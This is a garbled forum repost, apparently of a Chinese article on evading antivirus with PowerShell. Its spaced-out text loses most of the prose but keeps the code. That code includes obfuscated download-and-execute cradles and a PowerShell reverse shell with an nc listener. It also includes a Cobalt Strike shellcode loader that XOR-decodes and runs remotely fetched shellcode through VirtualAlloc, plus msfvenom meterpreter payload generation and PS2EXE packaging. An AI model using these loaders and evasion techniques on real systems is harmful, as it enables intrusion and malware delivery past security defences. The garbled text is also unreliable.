[16502] 2021-03-02_Powershell免杀从入门到实践

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-03-02_Powershell免杀从入门到实践 P o w e r s h e l l C S e r o a d   F r e e B u f   2 0 2 1 - 0 3 - 0 2   P o w e r s h e l l p o w e r s h e l l A n t i - V i r u s 便 ( 6 ) - - P o w e r s h e l l p o w e r s h e l l A n t i - V i r u s 姿 p o w e r s h e l l   b y p a s s b y p a s s I E X b y p a s s p o w e r s h e l l 姿 p o w e r s h e l l A n t i - V i r u s p o w e r s h e l l c m d 姿 p o w e r s h e l l w i n 1 0 p o w e r s h e l l I E X I E X d o w n l o a d s t r i n g 使 h t t p h t t p b y p a s s 姿 c m d p o w e r s h e l l b y p a s s c m d s o c k e t p o w e r s h e l l n c p o w e r s h e l l   - E x e c u t i o n P o l i c y   b y p a s s   - F i l e     a . p s 1 p o w e r s h e l l     - c   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / x x x . x x x . x x x / a ' ) " e c h o   I n v o k e - E x p r e s s i o n ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / x x x . x x x . x x x / a ' )   |   p o w e r s h e l l   - p o w e r s h e l l   - c   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' d : / / a ' ) " % p s m o d u l e p a t h : ~ 2 4 , 1 0 % p o w e r s h e l l   s e t - a l i a s   - n a m e   c s e r o a d   - v a l u e   I n v o k e - E x p r e s s i o n ; c s e r o a d ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / x x x . x x x . x x x / a ' ) " D o w n ` l ` o a d S t r i n g " p o w e r s h e l l   " $ a = ' ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' ' h t ' ; $ b = ' t p : / / 1 0 9 . x x . x x . x x / a ' ' ) ) ' ; I E X   ( $ a + $ b ) " h t + t p c m d   / c   " s e t   p 1 = p o w e r & &   s e t   p 2 = s h e l l & &   c m d   / c   e c h o   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( " h t t p : / / 1 0 9 . x x . x x / a " )   ^ | % p 1 % % p 2 %   - " e c h o   I n v o k e - E x p r e s s i o n   ( N e w - O b j e c t   " N e T . W e b C l i e n t " ) . " D o w n ` l ` o a d S t r i n g " ( ' h ' + ' t t p : / / 1 0 6 . x x . x x . x x / a ' )   |   p o w e r s h e l l   - c h c p   1 2 0 0   &   p o w e r s h e l l     - c   " I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . " D o w n l o a d S t r i n g " ( ' h t + t p : / / x x . x x . x x / a ' ) " p o w e r s h e l l     - c   " $ c l i e n t   =   N e w - O b j e c t   N e t . S o c k e t s . T C P C l i e n t ( ' 1 0 6 . x x x . x x x . x x x ' , 9 0 9 0 ) ; $ s t r e a m   =   $ c l i e n t . G e t S t r e a m ( ) ;   [ b y t e [ ] ] $ b y t e s   =   0 . . 6 5 5 3 5 | % { 0 } ; w h i l e ( ( $ i   =   $ s t r e a m . R e a d ( $ b y t e s n c   - l v p   9 0 9 0
C o b a l t S t r i k e   p o w e r s h e l l   c o m m a n d 使 C o b a l t S t r i k e   4 . 1 p a y l o a d 访 8 3 a p a y l o a d 使 b a s e 6 4 I E X I E X e c h o a a a a . p s 1 b a s e 6 4 b y t e x o r b a s e b i n b y t e n e w . b i n n e w . b i n 线 I O . C o m p r e s s i o n . G z i p S t r e a m $ s = N e w - O b j e c t   I O . M e m o r y S t r e a m ( , [ C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( " x x x " ) ) ; I E X   ( N e w - O b j e c t   I O . S t r e a m R e a d e r ( N e w - O b j e c t   I O . C o m p r e s s i o n . G z i p S t r e a m ( $ s , [ I O . C o m p r e s s i o n . C o m p r e s s i o n M o d e ] : : D e c o m p r e s s ) ) ) . R e a d T o E n d ( ) ; p o w e r s h e l l   - E x e c u t i o n P o l i c y   b y p a s s   - F i l e     a a a a a . p s 1   > >   o l d . t x t f u n c _ g e t _ d e l e g a t e _ t y p e f u n c _ g e t _ p r o c _ a d d r e s s $ e n c = [ S y s t e m . C o n v e r t ] : : F r o m B a s e 6 4 S t r i n g ( ' b a s e 6 4 ' ) f o r   ( $ x   =   0 ;   $ x   - l t   $ e n c . C o u n t ;   $ x + + )   {         $ e n c [ $ x ]   =   $ e n c [ $ x ]   - b x o r   3 5 } $ i n f i l e   =   [ S y s t e m . I O . F i l e ] : : W r i t e A l l B y t e s ( " n e w . b i n " , $ e n c ) [ B y t e [ ] ] $ v a r _ c o d e   =   [ S y s t e m . I O . F i l e ] : : R e a d A l l B y t e s ( ' n e w . b i n ' )
线 V T 1 1 / 5 9 p o w e r s h e l l I E X I ` E X I n v o k e I n v + o k e V T 2 / 5 8 p o w e r s h e l l n e w . b i n 使 c o b a l t   s t r i k e 线 s h e l l c o d e p a y l o a d f u n c _ g e t _ d e l e g a t e _ t y p e f u n c _ g e t _ p r o c _ a d d r e s s $ D o I t $ a a a a $ v a r _ c o d e $ a c o d e S e t - S t r i c t M o d e   - V e r s i o n   2 f u n c t i o n   f u n c _ g e t _ d e l e g a t e _ t y p e _ n e w   {         P a r a m   (                 [ P a r a m e t e r ( P o s i t i o n   =   0 ,   M a n d a t o r y   =   $ T r u e ) ]   [ T y p e [ ] ]   $ v a r _ p a r a m e t e r s ,                 [ P a r a m e t e r ( P o s i t i o n   =   1 ) ]   [ T y p e ]   $ v a r _ r e t u r n _ t y p e   =   [ V o i d ]         )         $ v a r _ t y p e _ b u i l d e r   =   [ A p p D o m a i n ] : : C u r r e n t D o m a i n . D e f i n e D y n a m i c A s s e m b l y ( ( N e w - O b j e c t   S y s t e m . R e f l e c t i o n . A s s e m b l y N a m e ( ' R e f l e c t e d D e l e g a t e ' ) ) ,   [ S y s t e m . R e f l e c t i o n . E m i t . A s s e m b l y B u i l d e r A c c e s s ] : : R u n ) . D e f i n e D y n a m i c M o d u l e (         $ v a r _ t y p e _ b u i l d e r . D e f i n e C o n s t r u c t o r ( ' R T S p e c i a l N a m e ,   H i d e B y S i g ,   P u b l i c ' ,   [ S y s t e m . R e f l e c t i o n . C a l l i n g C o n v e n t i o n s ] : : S t a n d a r d ,   $ v a r _ p a r a m e t e r s ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d '         $ v a r _ t y p e _ b u i l d e r . D e f i n e M e t h o d ( ' I n v ' + ' o k e ' ,   ' P u b l i c ,   H i d e B y S i g ,   N e w S l o t ,   V i r t u a l ' ,   $ v a r _ r e t u r n _ t y p e ,   $ v a r _ p a r a m e t e r s ) . S e t I m p l e m e n t a t i o n F l a g s ( ' R u n t i m e ,   M a n a g e d ' )         r e t u r n   $ v a r _ t y p e _ b u i l d e r . C r e a t e T y p e ( ) } f u n c t i o n   f u n c _ g e t _ p r o c _ a d d r e s s _ n e w   {         P a r a m   ( $ v a r _ m o d u l e ,   $ v a r _ p r o c e d u r e )                         $ v a r _ u n s a f e _ n a t i v e _ m e t h o d s   =   [ A p p D o m a i n ] : : C u r r e n t D o m a i n . G e t A s s e m b l i e s ( )         $ v a r _ u n s a f e _ n a t i v e _ m e t h o d s _ n e w s   =   ( $ v a r _ u n s a f e _ n a t i v e _ m e t h o d s     |   W h e r e - O b j e c t   {   $ _ . G l o b a l A s s e m b l y C a c h e   - A n d   $ _ . L o c a t i o n . S p l i t ( ' ' ) [ - 1 ] . E q u a l s ( ' S y s t e m . d l l ' )   } ) . G e t T y p e ( ' M i c r o s o f t . W i n 3 2 . U n s a f e N a t i v e M e t h o d s '         $ v a r _ g p a   =   $ v a r _ u n s a f e _ n a t i v e _ m e t h o d s _ n e w s . G e t M e t h o d ( ' G e t P r o c A d d r e s s ' ,   [ T y p e [ ] ]   @ ( ' S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . H a n d l e R e f ' ,   ' s t r i n g ' ) )         r e t u r n   $ v a r _ g p a . I n v o k e ( $ n u l l ,   @ ( [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . H a n d l e R e f ] ( N e w - O b j e c t   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . H a n d l e R e f ( ( N e w - O b j e c t   I n t P t r ) ,   ( $ v a r _ u n s a f e _ n a t i v e _ m e t h o d s _ n e w s . G e t M e t h o d ( } I f   ( [ I n t P t r ] : : s i z e   - e q   8 )   {         [ B y t e [ ] ] $ a c o d e   =   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . " D o w n ` l ` o a d D a t a " ( $ a r g s [ 0 ] )         $ v a r _ v a   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( ( f u n c _ g e t _ p r o c _ a d d r e s s _ n e w   k e r n e l 3 2 . d l l   V i r t u a l A l l o c ) ,   ( f u n c _ g e t _ d e l e g a t e _ t y p e _ n e w   @ ( [ I n t P t r ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] ,   [ U I n t 3 2 ] )   ( [ I n t P t r ] ) ) )         $ v a r _ b u f f e r   =   $ v a r _ v a . I n v o k e ( [ I n t P t r ] : : Z e r o ,   $ a c o d e . L e n g t h ,   0 x 3 0 0 0 ,   0 x 4 0 )         [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : C o p y ( $ a c o d e ,   0 ,   $ v a r _ b u f f e r ,   $ a c o d e . l e n g t h )         $ v a r _ r u n m e   =   [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : G e t D e l e g a t e F o r F u n c t i o n P o i n t e r ( $ v a r _ b u f f e r ,   ( f u n c _ g e t _ d e l e g a t e _ t y p e _ n e w   @ ( [ I n t P t r ] )   ( [ V o i d ] ) ) )         $ v a r _ r u n m e . I n v o k e ( [ I n t P t r ] : : Z e r o )
C o b a l t S t r i k e p a y l o a d . b i n x 6 4 p a y l o a d . b i n p o w e r s h e l l b y p a s s C o b a l t S t r i k e 线 m e t a s p l o i t   使 m s f v e n o m r a w r a w p o w e r s h e l l b i n m e t a s p l o i t   线 p o w e r s h e l l e x e p o w e r s h e l l e x e W i n - P S 2 E X E p s 2 e x e . p s 1 e x e 便 使 5 / 7 0 3 6 0 c m d p o w e r s h e l l b y p a s s C o b a l t S t r i k e   p o w e r s h e l l   p a y l o a d   p o w e r s h e l l s h e l l c o d e } p o w e r s h e l l   - E x e c u t i o n P o l i c y   b y p a s s   - F i l e   o l d . p s 1   h t t p : / / 1 0 6 . x x . x x . x x / p a y l o a d . b i n m s f v e n o m   - p   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 0 . 2 1 1 . 5 5 . 2 6   L P O R T = 4 4 4 4   - f   r a w   - e   x 8 6 / s h i k a t a _ g a _ n a i   - i   5   - o   / v a r / w w w / h t m l / s h e l l . b i n p o w e r s h e l l   - E x e c u t i o n P o l i c y   b y p a s s   - F i l e   a . p s 1   h t t p : / / 1 0 . 2 1 1 . 5 5 . 2 6 / s h e l l . b i n p o w e r s h e l l . e x e   - E x e c u t i o n P o l i c y   b y p a s s     - c o m m a n d   " & ' . p s 2 e x e . p s 1 '   - i n p u t F i l e   ' o l d . p s 1 '   - o u t p u t F i l e   ' a a a . e x e ' "
W i n - P S 2 E X E e x e 便
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则